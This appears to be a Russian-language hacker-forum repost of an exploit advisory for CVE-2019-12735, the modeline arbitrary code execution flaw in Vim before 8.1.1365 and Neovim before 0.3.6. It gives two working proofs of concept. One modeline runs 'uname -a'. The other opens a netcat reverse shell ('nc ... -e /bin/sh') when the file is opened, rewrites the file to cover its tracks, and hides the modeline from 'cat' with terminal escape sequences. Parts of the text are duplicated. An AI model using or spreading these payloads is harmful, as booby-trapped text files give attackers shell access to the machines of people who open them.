not eth1cal hack3r
Green Team
Продукт: Vim < 8.1.1365, Neovim < 0.3.6
Тип: Arbitrary Code Execution
CVE: CVE-2019-12735
Дата: 2019-06-04
Автор: Arminius (@rawsec)
Vim до 8.1.1365 и Neovim до 0.3.6 уязвимы для произвольного выполнения кода через модельные линии, открывая специально созданный текстовый файл
Proof of concept
Proof of concept 2 (reverse shell)
Этот PoC описывает реальный подход атаки, в котором обратная оболочка запускается после того, как пользователь открывает файл. Чтобы скрыть атаку, файл будет немедленно переписан при открытии. Кроме того, PoC использует терминальные escape-последовательности, чтобы скрыть модельную линию при печати содержимого с помощью cat. (cat-v показывает фактическое содержание.)
shell.txt
payload:
Демо эксплуатации уязвимости
Тип: Arbitrary Code Execution
CVE: CVE-2019-12735
Дата: 2019-06-04
Автор: Arminius (@rawsec)
Vim до 8.1.1365 и Neovim до 0.3.6 уязвимы для произвольного выполнения кода через модельные линии, открывая специально созданный текстовый файл
Proof of concept
- Создать poc.txt:
Код::!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
- Убедитесь, что параметр modeline не отключен set modeline).
- Открыть фаил в Vim: vim poc.txt
- Система будет выполнять uname -a.
Proof of concept 2 (reverse shell)
Этот PoC описывает реальный подход атаки, в котором обратная оболочка запускается после того, как пользователь открывает файл. Чтобы скрыть атаку, файл будет немедленно переписан при открытии. Кроме того, PoC использует терминальные escape-последовательности, чтобы скрыть модельную линию при печати содержимого с помощью cat. (cat-v показывает фактическое содержание.)
shell.txt
payload:
Код:
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n
Демо эксплуатации уязвимости